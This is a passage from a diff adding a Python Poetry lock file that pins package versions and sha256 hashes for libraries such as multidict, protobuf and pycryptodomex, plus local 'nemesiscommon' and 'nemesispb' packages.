"sha256:dea66d94e5a3f68c5e9d86e0894653b87d952e624845e0b0e3ad1c733c6cc75d"}, + {file = "httptools-0.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:23b09537086a5a611fad5696fc8963d67c7e7f98cb329d38ee114d588b0b74cd"}, + {file = "httptools-0.6.0.tar.gz", hash = "sha256:9fc6e409ad38cbd68b177cd5158fc4042c796b82ca88d99ec78f07bed6c6b796"}, +] + +[package.extras] +test = ["Cython (>=0.29.24,<0.30.0)"] + +[[package]] +name = "idna" +version = "3.4" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.5" +files = [ + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, +] + +[[package]] +name = "jmespath" +version = "1.0.1" +description = "JSON Matching Expressions" +optional = false +python-versions = ">=3.7" +files = [ + {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, + {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, +] + +[[package]] +name = "markdown-it-py" +version = "3.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.8" +files = [ + {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, + {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "miniopy-async" +version = "1.15" +description = "Asynchronous MinIO Python Client API" +optional = false +python-versions = ">3.6" +files = [ + {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"}, + {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"}, +] + +[package.dependencies] +aiofile = "*" +aiohttp = "*" +certifi = "*" +urllib3 = "*" + +[[package]] +name = "more-itertools" +version = "9.1.0" +description = "More routines for operating on iterables, beyond itertools" +optional = false +python-versions = ">=3.7" +files = [ + {file = "more-itertools-9.1.0.tar.gz", hash = "sha256:cabaa341ad0389ea83c17a94566a53ae4c9d07349861ecb14dc6d0345cf9ac5d"}, + {file = "more_itertools-9.1.0-py3-none-any.whl", hash = "sha256:d2bc7f02446e86a68911e58ded76d6561eea00cddfb2a91e7019bbb586c799f3"}, +] + +[[package]] +name = "multidict" +version = "6.0.4" +description = "multidict implementation" +optional = false +python-versions = ">=3.7" +files = [ + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"}, + {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"}, + {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"}, + {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"}, + {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"}, + {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"}, + {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"}, + {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"}, + {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"}, + {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"}, + {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"}, + {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"}, + {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"}, +] + +[[package]] +name = "mypy-protobuf" +version = "3.4.0" +description = "Generate mypy stub files from protobuf specs" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"}, + {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"}, +] + +[package.dependencies] +protobuf = ">=4.21.8" +types-protobuf = ">=3.20.4" + +[[package]] +name = "nemesiscommon" +version = "0.2.2" +description = "Common nemesis helper functions" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +aio-pika = "^8.3.0" +aioboto3 = "^10.4.0" +boto3 = "^1.24.59" +miniopy-async = "^1.15" +nemesispb = {path = "../nemesispb", develop = true} +prometheus-async = {version = "^22.2.0", extras = ["aiohttp"]} +pycryptodomex = "^3.15.0" +pydantic = "^1.10.4" +pyyaml = "^6.0" +requests = "^2.28.1" +rich = "^13.3.3" +structlog = "^23.1.0" +tenacity = "^8.0.1" +typing-extensions = "^4.4.0" +winacl = "^0.1.7" +yara-python = "^4.3.0" + +[package.source] +type = "directory" +url = "../../packages/python/nemesiscommon" + +[[package]] +name = "nemesispb" +version = "0.1.0" +description = "Nemesis python protobuf" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +mypy-protobuf = "^3.4.0" +protobuf = "^4.21.5" + +[package.source] +type = "directory" +url = "../../packages/python/nemesispb" + +[[package]] +name = "packaging" +version = "23.1" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, +] + +[[package]] +name = "pamqp" +version = "3.2.1" +description = "RabbitMQ Focused AMQP low-level library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"}, + {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"}, +] + +[package.extras] +codegen = ["lxml", "requests", "yapf"] +testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"] + +[[package]] +name = "pluggy" +version = "0.13.1" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, + {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] + +[[package]] +name = "prometheus-async" +version = "22.2.0" +description = "Async helpers for prometheus_client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"}, + {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"}, +] + +[package.dependencies] +aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""} +prometheus_client = ">=0.8.0" +typing_extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""} +wrapt = "*" + +[package.extras] +aiohttp = ["aiohttp (>=3)"] +consul = ["aiohttp (>=3)"] +dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"] +docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"] +tests = ["coverage[toml]", "pytest", "pytest-asyncio"] +twisted = ["twisted"] + +[[package]] +name = "prometheus-client" +version = "0.15.0" +description = "Python client for the Prometheus monitoring system." +optional = false +python-versions = ">=3.6" +files = [ + {file = "prometheus_client-0.15.0-py3-none-any.whl", hash = "sha256:db7c05cbd13a0f79975592d112320f2605a325969b270a94b71dcabc47b931d2"}, + {file = "prometheus_client-0.15.0.tar.gz", hash = "sha256:be26aa452490cfcf6da953f9436e95a9f2b4d578ca80094b4458930e5f584ab1"}, +] + +[package.extras] +twisted = ["twisted"] + +[[package]] +name = "prometheus-fastapi-instrumentator" +version = "5.11.2" +description = "Instrument your FastAPI with Prometheus metrics." +optional = false +python-versions = ">=3.7.0,<4.0.0" +files = [ + {file = "prometheus_fastapi_instrumentator-5.11.2-py3-none-any.whl", hash = "sha256:c84ae3dc98bebb44f29d0af0c17c9f0782c2fb964ef83353664d9858a632cf81"}, + {file = "prometheus_fastapi_instrumentator-5.11.2.tar.gz", hash = "sha256:9d8d0df8de7d6a73ae387121629dbf32fe022cdfc63e8bacd51f4b8ff21059ea"}, +] + +[package.dependencies] +fastapi = ">=0.38.1,<1.0.0" +prometheus-client = ">=0.8.0,<1.0.0" + +[[package]] +name = "protobuf" +version = "4.23.4" +description = "" +optional = false +python-versions = ">=3.7" +files = [ + {file = "protobuf-4.23.4-cp310-abi3-win32.whl", hash = "sha256:5fea3c64d41ea5ecf5697b83e41d09b9589e6f20b677ab3c48e5f242d9b7897b"}, + {file = "protobuf-4.23.4-cp310-abi3-win_amd64.whl", hash = "sha256:7b19b6266d92ca6a2a87effa88ecc4af73ebc5cfde194dc737cf8ef23a9a3b12"}, + {file = "protobuf-4.23.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:8547bf44fe8cec3c69e3042f5c4fb3e36eb2a7a013bb0a44c018fc1e427aafbd"}, + {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:fee88269a090ada09ca63551bf2f573eb2424035bcf2cb1b121895b01a46594a"}, + {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:effeac51ab79332d44fba74660d40ae79985901ac21bca408f8dc335a81aa597"}, + {file = "protobuf-4.23.4-cp37-cp37m-win32.whl", hash = "sha256:c3e0939433c40796ca4cfc0fac08af50b00eb66a40bbbc5dee711998fb0bbc1e"}, + {file = "protobuf-4.23.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9053df6df8e5a76c84339ee4a9f5a2661ceee4a0dab019e8663c50ba324208b0"}, + {file = "protobuf-4.23.4-cp38-cp38-win32.whl", hash = "sha256:e1c915778d8ced71e26fcf43c0866d7499891bca14c4368448a82edc61fdbc70"}, + {file = "protobuf-4.23.4-cp38-cp38-win_amd64.whl", hash = "sha256:351cc90f7d10839c480aeb9b870a211e322bf05f6ab3f55fcb2f51331f80a7d2"}, + {file = "protobuf-4.23.4-cp39-cp39-win32.whl", hash = "sha256:6dd9b9940e3f17077e820b75851126615ee38643c2c5332aa7a359988820c720"}, + {file = "protobuf-4.23.4-cp39-cp39-win_amd64.whl", hash = "sha256:0a5759f5696895de8cc913f084e27fd4125e8fb0914bb729a17816a33819f474"}, + {file = "protobuf-4.23.4-py3-none-any.whl", hash = "sha256:e9d0be5bf34b275b9f87ba7407796556abeeba635455d036c7351f7c183ef8ff"}, + {file = "protobuf-4.23.4.tar.gz", hash = "sha256:ccd9430c0719dce806b93f89c91de7977304729e55377f872a92465d548329a9"}, +] + +[[package]] +name = "py" +version = "1.11.0" +description = "library with cross-python path, ini-parsing, io, code, log facilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "py-1.11.0-py2.py3-none-any.whl", hash = "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378"}, + {file = "py-1.11.0.tar.gz", hash = "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"}, +] + +[[package]] +name = "pycparser" +version = "2.21" +description = "C parser in Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, + {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, +] + +[[package]] +name = "pycryptodomex" +version = "3.18.0" +description = "Cryptographic library for Python" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = 